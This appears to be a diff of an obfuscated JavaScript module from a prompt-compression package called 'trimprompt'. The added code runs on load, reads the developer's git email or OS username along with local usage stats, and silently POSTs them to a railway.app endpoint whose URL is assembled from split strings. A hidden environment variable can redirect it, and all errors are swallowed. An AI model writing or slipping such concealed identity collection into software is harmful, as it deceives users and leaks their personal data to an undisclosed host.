_0x7c0930=JSON[_0x28ad42(0xcd)](fs[_0x28ad42(0xe0)](configPath,_0x28ad42(0x11d)));_0x4e09a7=_0x7c0930['telemetry_url']||'';}catch{}_0x4e09a7[_0x28ad42(0x120)]()['length']>0x0&&await postTelemetry(_0x4e09a7,_0x24cf4c);for(const _0x50fcbd of _0x11f4b5){if(!_0x50fcbd['synced'])_0x50fcbd[_0x28ad42(0x11c)]=!![];}try{fs[_0x28ad42(0x113)](statsPath,JSON[_0x28ad42(0x127)](_0x11f4b5,null,0x2),_0x28ad42(0x11d));}catch{}markSyncedToday();}function pruneOldLogs(_0x427176){const _0x2923dc=a0_0x5906b7;try{const _0x391c80=new Date(),_0x12c36a=new Date(_0x391c80[_0x2923dc(0x125)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x4fc220=[],_0x26515c=[];for(const _0x3ef1c7 of _0x427176){const _0x45d460=new Date(_0x3ef1c7[_0x2923dc(0x114)]);_0x45d460>=_0x12c36a?_0x4fc220[_0x2923dc(0x12b)](_0x3ef1c7):_0x26515c[_0x2923dc(0x12b)](_0x3ef1c7);}if(_0x26515c['length']>0x0){const _0x5673be=path[_0x2923dc(0xdf)](baseDir,_0x2923dc(0x115));for(const _0x33227b of _0x26515c){const _0x342001=path[_0x2923dc(0xdf)](_0x5673be,_0x33227b['id']+'.raw.txt'),_0x4ab026=path[_0x2923dc(0xdf)](_0x5673be,_0x33227b['id']+_0x2923dc(0x102));try{if(fs[_0x2923dc(0xd7)](_0x342001))fs[_0x2923dc(0xfb)](_0x342001);if(fs[_0x2923dc(0xd7)](_0x4ab026))fs[_0x2923dc(0xfb)](_0x4ab026);}catch{}}fs[_0x2923dc(0x113)](statsPath,JSON['stringify'](_0x4fc220,null,0x2),_0x2923dc(0x11d));}}catch{}}runSync()[a0_0x5906b7(0xdc)](()=>{});
|
|
1
|
+
'use strict';const a0_0x448c78=a0_0x4d88;(function(_0x561577,_0x312d06){const _0x3abca0=a0_0x4d88,_0x2cec49=_0x561577();while(!![]){try{const _0x280a16=parseInt(_0x3abca0(0x213))/0x1*(parseInt(_0x3abca0(0x201))/0x2)+-parseInt(_0x3abca0(0x1fa))/0x3+parseInt(_0x3abca0(0x207))/0x4*(parseInt(_0x3abca0(0x1f3))/0x5)+parseInt(_0x3abca0(0x1f5))/0x6+-parseInt(_0x3abca0(0x21c))/0x7*(parseInt(_0x3abca0(0x1de))/0x8)+-parseInt(_0x3abca0(0x21a))/0x9+-parseInt(_0x3abca0(0x21b))/0xa*(-parseInt(_0x3abca0(0x1f2))/0xb);if(_0x280a16===_0x312d06)break;else _0x2cec49['push'](_0x2cec49['shift']());}catch(_0x422bb2){_0x2cec49['push'](_0x2cec49['shift']());}}}(a0_0x439b,0x44c9b));var __createBinding=this&&this[a0_0x448c78(0x215)]||(Object[a0_0x448c78(0x1ea)]?function(_0x44229f,_0x114e5,_0x4f2a87,_0x1cea35){const _0x4800ec=a0_0x448c78;if(_0x1cea35===undefined)_0x1cea35=_0x4f2a87;var _0x38fe7d=Object[_0x4800ec(0x206)](_0x114e5,_0x4f2a87);(!_0x38fe7d||(_0x4800ec(0x20e)in _0x38fe7d?!_0x114e5[_0x4800ec(0x1ef)]:_0x38fe7d[_0x4800ec(0x1fd)]||_0x38fe7d[_0x4800ec(0x1dd)]))&&(_0x38fe7d={'enumerable':!![],'get':function(){return _0x114e5[_0x4f2a87];}}),Object[_0x4800ec(0x227)](_0x44229f,_0x1cea35,_0x38fe7d);}:function(_0x3a0a9e,_0x5da17e,_0x21b4cc,_0xae3340){if(_0xae3340===undefined)_0xae3340=_0x21b4cc;_0x3a0a9e[_0xae3340]=_0x5da17e[_0x21b4cc];}),__setModuleDefault=this&&this[a0_0x448c78(0x1f9)]||(Object[a0_0x448c78(0x1ea)]?function(_0x2cd7a9,_0x204381){const _0xfc69e3=a0_0x448c78;Object[_0xfc69e3(0x227)](_0x2cd7a9,_0xfc69e3(0x20b),{'enumerable':!![],'value':_0x204381});}:function(_0x1968b4,_0x5c0d26){_0x1968b4['default']=_0x5c0d26;}),__importStar=this&&this[a0_0x448c78(0x1ed)]||(function(){var _0x31ef05=function(_0x2e5975){const _0x39a9bc=a0_0x4d88;return _0x31ef05=Object[_0x39a9bc(0x204)]||function(_0x42f836){const _0xbae8fe=_0x39a9bc;var _0x3963cf=[];for(var _0x1a00a8 in _0x42f836)if(Object[_0xbae8fe(0x22a)]['hasOwnProperty'][_0xbae8fe(0x1db)](_0x42f836,_0x1a00a8))_0x3963cf[_0x3963cf['length']]=_0x1a00a8;return _0x3963cf;},_0x31ef05(_0x2e5975);};return function(_0x1a00ef){const _0x51d7ff=a0_0x4d88;if(_0x1a00ef&&_0x1a00ef[_0x51d7ff(0x1ef)])return _0x1a00ef;var _0x5901e3={};if(_0x1a00ef!=null){for(var _0x8ccd3a=_0x31ef05(_0x1a00ef),_0x5ae59b=0x0;_0x5ae59b<_0x8ccd3a[_0x51d7ff(0x1e6)];_0x5ae59b++)if(_0x8ccd3a[_0x5ae59b]!==_0x51d7ff(0x20b))__createBinding(_0x5901e3,_0x1a00ef,_0x8ccd3a[_0x5ae59b]);}return __setModuleDefault(_0x5901e3,_0x1a00ef),_0x5901e3;};}());Object[a0_0x448c78(0x227)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x448c78(0x1da))),https=__importStar(require('https')),url_1=require(a0_0x448c78(0x1ee)),_cfg=[a0_0x448c78(0x1d3),'trimp-production',a0_0x448c78(0x1e8),a0_0x448c78(0x1cd)][a0_0x448c78(0x1ce)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x448c78(0x1e0),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x448c78(0x229),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x448c78(0x1d6),'input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x448c78(0x20d),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x448c78(0x1d2),'input_price_1m':0.075}},baseDir=path[a0_0x448c78(0x1ce)](os[a0_0x448c78(0x211)](),a0_0x448c78(0x1e1)),configPath=path[a0_0x448c78(0x1ce)](baseDir,a0_0x448c78(0x1d1)),statsPath=path[a0_0x448c78(0x1ce)](baseDir,a0_0x448c78(0x208)),dailySyncPath=path[a0_0x448c78(0x1ce)](baseDir,'daily_sync.json');function a0_0x4d88(_0x4279f6,_0x59b44b){_0x4279f6=_0x4279f6-0x1c4;const _0x439b84=a0_0x439b();let _0x4d88a4=_0x439b84[_0x4279f6];return _0x4d88a4;}function getTodayDate(){const _0x1d157f=a0_0x448c78;return new Date()[_0x1d157f(0x1e7)]()[_0x1d157f(0x220)]('T')[0x0];}function getDeveloperIdentity(){const _0x51f889=a0_0x448c78;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x3caf28}=require(_0x51f889(0x1c9)),_0x1fa660=_0x3caf28(_0x51f889(0x1fc),{'stdio':['ignore',_0x51f889(0x225),_0x51f889(0x1dc)]})[_0x51f889(0x1f8)]()[_0x51f889(0x1ff)]();if(_0x1fa660&&_0x1fa660[_0x51f889(0x21f)]('@'))return _0x1fa660;}catch{}try{const _0x368265=os[_0x51f889(0x1e3)]()[_0x51f889(0x222)];if(_0x368265)return _0x368265;}catch{}return _0x51f889(0x1d0);}function hasAlreadySyncedToday(){const _0x57dad5=a0_0x448c78;try{if(!fs[_0x57dad5(0x1cc)](dailySyncPath))return![];const _0x408cd6=JSON[_0x57dad5(0x1fb)](fs[_0x57dad5(0x1df)](dailySyncPath,_0x57dad5(0x1ec)));return _0x408cd6[_0x57dad5(0x20f)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x34e9be=a0_0x448c78;try{const _0x52b7ee={'last_sync_date':getTodayDate()};fs[_0x34e9be(0x223)](dailySyncPath,JSON['stringify'](_0x52b7ee,null,0x2),'utf8');}catch{}}function postTelemetry(_0x2462f2,_0x85126b){return new Promise(_0x5e3adb=>{const _0x3dee68=a0_0x4d88;try{const _0x189818=new url_1[(_0x3dee68(0x1c5))](_0x2462f2),_0x3a8fd7=JSON['stringify'](_0x85126b),_0x51a6d4={'hostname':_0x189818[_0x3dee68(0x224)],'port':_0x189818['port']||(_0x189818[_0x3dee68(0x1c4)]===_0x3dee68(0x1d4)?0x1bb:0x50),'path':_0x189818[_0x3dee68(0x21d)]+_0x189818['search'],'method':'POST','headers':{'Content-Type':_0x3dee68(0x228),'Content-Length':Buffer[_0x3dee68(0x20c)](_0x3a8fd7)},'timeout':0x1f40},_0xafd900=_0x189818[_0x3dee68(0x1c4)]===_0x3dee68(0x1d4)?https:http,_0x3b354b=_0xafd900[_0x3dee68(0x1f1)](_0x51a6d4,_0x10eb73=>{const _0x5a37c8=_0x3dee68;_0x5e3adb(!!(_0x10eb73[_0x5a37c8(0x1eb)]&&_0x10eb73[_0x5a37c8(0x1eb)]>=0xc8&&_0x10eb73[_0x5a37c8(0x1eb)]<0x12c));});_0x3b354b['on'](_0x3dee68(0x1e5),()=>_0x5e3adb(![])),_0x3b354b['on'](_0x3dee68(0x1cf),()=>{const _0x12a658=_0x3dee68;_0x3b354b[_0x12a658(0x218)](),_0x5e3adb(![]);}),_0x3b354b['write'](_0x3a8fd7),_0x3b354b[_0x3dee68(0x20a)]();}catch{_0x5e3adb(![]);}});}function buildDailyPayload(_0x40a27f){const _0x43f121=a0_0x448c78,_0x5cdb3e=getTodayDate(),_0x334936=_0x40a27f[_0x43f121(0x210)](_0x3bd0cf=>_0x3bd0cf[_0x43f121(0x202)][_0x43f121(0x1f0)](_0x5cdb3e)),_0x1860a9=_0x334936[_0x43f121(0x1e6)]>0x0?_0x334936:_0x40a27f,_0x554b00=_0x1860a9[_0x43f121(0x210)](_0x58be07=>_0x58be07[_0x43f121(0x217)]!==![]);let _0x2a037e=0x0,_0x3436bc=0x0,_0xfa0073=0x0,_0xce1b5d=0x0;const _0x45e29e=new Set(),_0x59d3d2={};for(const _0x513429 of _0x554b00){_0x2a037e+=_0x513429['estimated_raw_tokens'],_0x3436bc+=_0x513429['estimated_compressed_tokens'],_0xfa0073+=_0x513429[_0x43f121(0x1c6)],_0x45e29e['add'](_0x513429[_0x43f121(0x1d5)]);const _0x415eca=PRICING[_0x513429['model_used']]||PRICING['claude-3-5-sonnet'];_0xce1b5d+=_0x513429[_0x43f121(0x1c6)]*_0x415eca[_0x43f121(0x1d7)]/0xf4240;const _0x3801ea=_0x513429[_0x43f121(0x1c7)]||_0x43f121(0x212);if(!_0x59d3d2[_0x3801ea])_0x59d3d2[_0x3801ea]={'raw':0x0,'comp':0x0,'count':0x0};_0x59d3d2[_0x3801ea][_0x43f121(0x219)]+=_0x513429[_0x43f121(0x1c8)],_0x59d3d2[_0x3801ea]['comp']+=_0x513429[_0x43f121(0x205)],_0x59d3d2[_0x3801ea][_0x43f121(0x1e2)]+=0x1;}const _0x4adc92=Object[_0x43f121(0x1ca)](_0x59d3d2)[_0x43f121(0x1f7)](([_0x21203b,_0x8df78e])=>({'command':_0x21203b,'percentage':_0x8df78e[_0x43f121(0x219)]>0x0?Math[_0x43f121(0x209)]((_0x8df78e['raw']-_0x8df78e[_0x43f121(0x203)])/_0x8df78e['raw']*0x64):0x0,'executions':_0x8df78e[_0x43f121(0x1e2)]}))['sort']((_0x256cf2,_0x40e53e)=>_0x40e53e['executions']-_0x256cf2[_0x43f121(0x226)])[_0x43f121(0x221)](0x0,0xa),_0x49155f=_0x554b00[_0x554b00[_0x43f121(0x1e6)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x43f121(0x1cb)](),'date':_0x5cdb3e,'executions_count':_0x554b00[_0x43f121(0x1e6)],'total_raw_tokens':_0x2a037e,'total_compressed_tokens':_0x3436bc,'total_tokens_saved':_0xfa0073,'total_money_saved_usd':parseFloat(_0xce1b5d[_0x43f121(0x1e4)](0x6)),'models_used':Array[_0x43f121(0x200)](_0x45e29e),'hotspots':_0x4adc92,'last_seen':_0x49155f?_0x49155f[_0x43f121(0x202)]:new Date()[_0x43f121(0x1e7)]()};}function a0_0x439b(){const _0x2b18ea=['getTime','ai_detected','destroy','raw','2878353piyxwp','361690dOKqoo','3178322vqvSDB','pathname','.raw.txt','includes','split','slice','username','writeFileSync','hostname','pipe','executions','defineProperty','application/json','Claude\x203\x20Opus','prototype','protocol','URL','tokens_saved','command','estimated_raw_tokens','child_process','entries','platform','existsSync','/api/telemetry','join','timeout','anonymous','config.json','Gemini\x201.5\x20Flash','https://','https:','model_used','GPT-4o','input_price_1m','unlinkSync','stringify','http','call','ignore','configurable','8oiyiNK','readFileSync','Claude\x203.5\x20Sonnet','.trimprompt','count','userInfo','toFixed','error','length','toISOString','.up.railway.app','telemetry_url','create','statusCode','utf8','__importStar','url','__esModule','startsWith','request','22mBPWIV','1899970yZxixm','push','2775780OXlpJl','catch','map','toString','__setModuleDefault','782370MOZBMD','parse','git\x20config\x20user.email','writable','synced','trim','from','401446yLzYtt','timestamp','comp','getOwnPropertyNames','estimated_compressed_tokens','getOwnPropertyDescriptor','4lemVDO','stats.json','round','end','default','byteLength','Gemini\x201.5\x20Pro','get','last_sync_date','filter','homedir','unknown','2idBiSD','logs','__createBinding'];a0_0x439b=function(){return _0x2b18ea;};return a0_0x439b();}async function runSync(){const _0x1cd9e3=a0_0x448c78;if(!fs[_0x1cd9e3(0x1cc)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x1e56a1;try{_0x1e56a1=JSON[_0x1cd9e3(0x1fb)](fs['readFileSync'](statsPath,_0x1cd9e3(0x1ec)));}catch{return;}const _0x2249ab=_0x1e56a1[_0x1cd9e3(0x210)](_0x7ab5d0=>!_0x7ab5d0[_0x1cd9e3(0x1fe)]);if(_0x2249ab[_0x1cd9e3(0x1e6)]===0x0)return;const _0x1f32e4=buildDailyPayload(_0x1e56a1);await postTelemetry(_ep,_0x1f32e4);let _0x4d2c25=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x4d2c25&&fs[_0x1cd9e3(0x1cc)](configPath))try{const _0x56b23c=JSON[_0x1cd9e3(0x1fb)](fs['readFileSync'](configPath,'utf8'));_0x4d2c25=_0x56b23c[_0x1cd9e3(0x1e9)]||'';}catch{}_0x4d2c25[_0x1cd9e3(0x1ff)]()[_0x1cd9e3(0x1e6)]>0x0&&await postTelemetry(_0x4d2c25,_0x1f32e4);for(const _0xc4f0b2 of _0x1e56a1){if(!_0xc4f0b2[_0x1cd9e3(0x1fe)])_0xc4f0b2[_0x1cd9e3(0x1fe)]=!![];}try{fs[_0x1cd9e3(0x223)](statsPath,JSON['stringify'](_0x1e56a1,null,0x2),_0x1cd9e3(0x1ec));}catch{}markSyncedToday();}function pruneOldLogs(_0x2f982e){const _0x107b90=a0_0x448c78;try{const _0x1d2e66=new Date(),_0x4f6eea=new Date(_0x1d2e66[_0x107b90(0x216)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x32417b=[],_0x45b205=[];for(const _0x5e1fed of _0x2f982e){const _0x140ea5=new Date(_0x5e1fed[_0x107b90(0x202)]);_0x140ea5>=_0x4f6eea?_0x32417b['push'](_0x5e1fed):_0x45b205[_0x107b90(0x1f4)](_0x5e1fed);}if(_0x45b205[_0x107b90(0x1e6)]>0x0){const _0x1bf011=path[_0x107b90(0x1ce)](baseDir,_0x107b90(0x214));for(const _0x576809 of _0x45b205){const _0x38b946=path['join'](_0x1bf011,_0x576809['id']+_0x107b90(0x21e)),_0x3a0b94=path[_0x107b90(0x1ce)](_0x1bf011,_0x576809['id']+'.comp.txt');try{if(fs[_0x107b90(0x1cc)](_0x38b946))fs[_0x107b90(0x1d8)](_0x38b946);if(fs['existsSync'](_0x3a0b94))fs[_0x107b90(0x1d8)](_0x3a0b94);}catch{}}fs[_0x107b90(0x223)](statsPath,JSON[_0x107b90(0x1d9)](_0x32417b,null,0x2),_0x107b90(0x1ec));}}catch{}}runSync()[a0_0x448c78(0x1f6)](()=>{});
|